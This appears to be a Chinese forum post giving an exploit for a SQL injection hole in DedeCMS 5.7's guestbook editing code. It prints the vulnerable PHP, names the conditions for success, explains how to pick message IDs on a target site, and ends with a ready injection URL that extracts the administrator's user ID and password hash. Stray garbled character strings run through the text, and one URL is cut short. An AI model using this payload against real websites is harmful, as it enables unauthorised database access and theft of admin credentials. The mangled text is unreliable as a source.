dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
1 m4 D( L2 Q+ k5 {) e  q" F+ Z
漏洞文件edit.inc.php具体代码：
9 R7 T" b. a; F4 Y( ]
4 v6 c! Y3 a$ z* j. \< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
8 |; z/ h" u+ {1 n) y8 F! R
. S, w9 p+ Y- K   
$ s. H; G1 ^* X0 r- R( p
1 F: T2 |6 p/ g, |. Q, C! s: \+ Rif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

( K0 m0 u2 r3 y: f0 n$ X% G1 |else $GUEST_BOOK_POS = "guestbook.php";  
6 q& O, ^# P# I/ R
6 K8 Q1 P/ w& Q) t   

$id = intval($id);  
+ V1 l0 I+ _& }. z4 {& V: v2 u
if(empty($job)) $job='view';  
3 I+ R: |1 u, ]; M9 q
   
6 F+ q3 h9 R6 ^$ o, z
. D7 K( y, A4 \# E2 w" ^if($job=='del' && $g_isadmin)  
% ^$ B1 U* O. q' L5 p. O
{  

1 @; m6 t* f! Y$ D* f- |2 O$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
$ `/ C3 U9 s/ j* `' E
1 V2 Q2 A/ S+ u9 A5 f1 melse if($job=='check' && $g_isadmin)  

{  

- y& M! p5 {& S; s" n6 M$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; {. A0 a% f3 S2 g0 [" O
2 ^7 Z6 Y7 M- X* ]ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
- [; |+ P% k  R7 V( A6 ?& y0 g; h
exit();  

* y4 O8 G+ A) A) F0 u4 \8 |}  

* U& H5 _; @( _; u1 velse if($job=='editok')  
0 J* M- [4 B" J; v: U- r& V7 W
; b1 I- ?+ r) ]& u9 `) c{  
+ ~+ Y) ^6 }$ w& d, ?/ R  }* e2 [
$remsg = trim($remsg);  
# L, N, l, f: R) I
8 p/ J% m2 H- zif($remsg!='')  

{  
) r4 A; O0 `/ e. G( W
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

% {! e& n" X' P4 E, Nif($g_isadmin)  
& _3 J+ m1 E/ _0 X2 {, @
{  

8 m9 c4 X1 n9 n( A, k$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  
# ~& j+ q) A: q7 J8 l) l' K3 r
else
. m0 P6 e& V* l) u4 ^
; g4 F0 D* N) ?( Y% S{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

; V! F' |$ H( j! h: y) y$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
& Q5 c, U5 \. |) L
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

% j' C1 h% H+ D) X% c4 |- Z7 m$msg = $oldmsg.$remsg;  

; Z+ n2 v, n9 V/ H7 `% U+ Y* v}  
  X5 u4 f4 j; O- R4 [' W% U
}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
) g+ o$ J) B1 t) I5 D" i: }7 z6 K. |
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
( w! B; W; Q7 c7 @! ^
exit();  
: R. H5 e/ i/ L3 U/ n! r6 R: {
4 J- v2 u) e" D) }+ z  J}  
; C4 M. O3 e2 m6 K- x$ y4 {
0 e. g5 A/ ]  E/ ~3 n//home:www.errs.cc  

4 Z: ?  E, F3 n$ h0 k- z7 d% zif($g_isadmin)  
6 k% c0 t2 E$ P' p& A' Q
" Q+ c/ L' U, K: }/ s+ `{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

) P' {7 L& j" ]! T3 y8 x/ N# t* Rrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
: E) v$ x5 S7 L
! u1 t% h7 c* S* e, M( h}  

. k. F7 T! v5 pelse

" m# G* D% v: o0 l' S+ Q- G{  
  r) A- p4 _& Z5 ]6 A+ F
0 q: h. q9 z" R) C$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
/ K! d# f9 X) ^% l4 n; g7 a3 Z
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 P1 P  B+ X4 ~" C5 z$ `
, }% m' s. G4 L1 N} 漏洞成功需要条件：
% l# F! |0 H2 \3 _0 J$ \9 O1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
8 Q0 j6 }( t  w& Q# ^( Q! [
怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
. W  z; [4 a" M+ p; Z0 ^然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
- D1 k8 k+ w6 l- ]% U& y
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 J8 G: `/ o$ ~" S7 }. P跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. z' k) V! n* [% v6 [2 n
$ }2 L- v* |6 D8 I8 h; c
0 `& g, x: T6 E/ R/ w; ?明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
( a$ C1 J: ^$ |6 O6 c9 U; q/ `如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
- Q/ Y' P8 d. S3 F1 e) ?  t+ f
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
& q( o) A# d+ k
大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
+ I( M' F; i. S$ p9 b( U
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='